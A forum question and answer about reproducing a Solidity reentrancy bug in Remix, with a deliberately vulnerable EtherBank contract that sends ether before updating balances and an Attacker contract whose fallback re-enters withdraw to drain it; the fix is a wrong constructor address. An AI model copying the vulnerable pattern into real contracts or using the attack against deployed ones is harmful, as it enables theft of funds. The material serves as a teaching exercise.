ethereumsolidityreentrancy

Solidity reentrancy bug in remix.ethereum


I am trying to reproduce a reentrancy bug from this article

My config:

Step 1: I deployed Etherbank Contract with the following address: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4

// SPDX-License-Identifier: MIT pragma solidity ^0.7.0;

contract EtherBank {
    uint public total = 0;
    mapping(address => uint) public balances;
    
    function deposit() public payable {
        balances[msg.sender] += msg.value;
         total += msg.value;
    }
    
    function withdraw(uint _amount) public payable{
        require(balances[msg.sender] >= _amount , "Out of amount");
        
        (bool sent, ) = msg.sender.call{value: _amount}("");
        
        require(sent, "Failed to send Ether");
        
        balances[msg.sender] -= _amount;
        total -= _amount;       
    }
    
    function getBalance() public view returns(uint) {
        return balances[msg.sender];
    }
}

Still with the same address, I called several time the function deposit to make some ETH are available, so when I call getBalance the output is "uint256: 3000000000000000000"

Step 2: I deployed my Attacker Contract with a new address: 0x4B20993Bc481177ec7E8f571ceCaE8A9e22C02db

contract Attacker {
    EtherBank public etherBank;
    
    constructor(address _etherBankAddress) {
        etherBank = EtherBank(_etherBankAddress);
    }
    
    function attack() public payable {
        require(msg.value >= 1 ether);
        etherBank.deposit{ value: 1 ether}();
        etherBank.withdraw(1 ether);
    }

    fallback() external payable {
        if(address(etherBank).balance >= 1 ether){
            etherBank.withdraw(1 ether);
        }
    }
    
    function getBalance() public view returns(uint) {
        return address(this).balance;
    }
}

When I call attack I have the following error: The transaction has been reverted to the initial state. The called function should be payable if you send value and the value you send should be less than your current balance.

I don't understand why as my test account on remix have more than 90ETH each.


Solution

  • My bad! I was trying to pass the address of the wallet (which deploy EtherBank) rather than the Etherbank contract address in the Attacker contract constructor. Everything works well now.

    Here is a good explanation about the differences between wallet address and contract address: